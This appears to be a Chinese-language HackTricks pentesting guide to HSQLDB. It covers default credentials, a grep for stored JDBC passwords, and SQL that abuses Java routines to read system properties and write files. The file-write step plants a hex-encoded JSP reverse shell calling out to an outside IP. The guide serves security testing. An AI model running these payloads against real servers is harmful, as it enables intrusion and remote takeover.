5 KiB
{% hint style="success" %}
学习与实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习与实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
基本信息
HSQLDB (HyperSQL 数据库) 是领先的用 Java 编写的 SQL 关系数据库系统。它提供一个小型、快速的多线程和事务数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。
默认端口: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
信息
默认设置
请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,您可能已经利用了另一个服务并希望提升权限。
默认凭据通常是 sa
,密码为空。
如果您已经利用了另一个服务,请搜索可能的凭据使用
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
注意数据库名称 - 你需要它来连接。
信息收集
通过 下载 HSQLDB 并提取 hsqldb/lib/hsqldb.jar
来连接到数据库实例。使用 java -jar hsqldb.jar
运行 GUI 应用程序(呃)并使用发现的/弱的凭据连接到实例。
注意连接 URL 对于远程系统看起来像这样: jdbc:hsqldb:hsql://ip/DBNAME
。
技巧
Java 语言例程
我们可以通过 HSQLDB 使用 Java 语言例程调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。
JRTs 可以是 functions
或 procedures
。如果 Java 方法返回一个或多个 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 VALUES
语句调用。
如果我们想要调用的 Java 方法返回 void,则需要使用通过 CALL
语句调用的过程。
读取 Java 系统属性
创建函数:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
执行函数:
VALUES(getsystemproperty('user.name'))
您可以在这里找到系统属性列表。
写入文件内容
您可以使用位于 JDK 中的 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java 小工具(自动加载到应用程序的类路径中)通过自定义过程将十六进制编码的项目写入磁盘。注意最大大小为 1024 字节。
创建过程:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
执行过程:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
学习与实践 AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。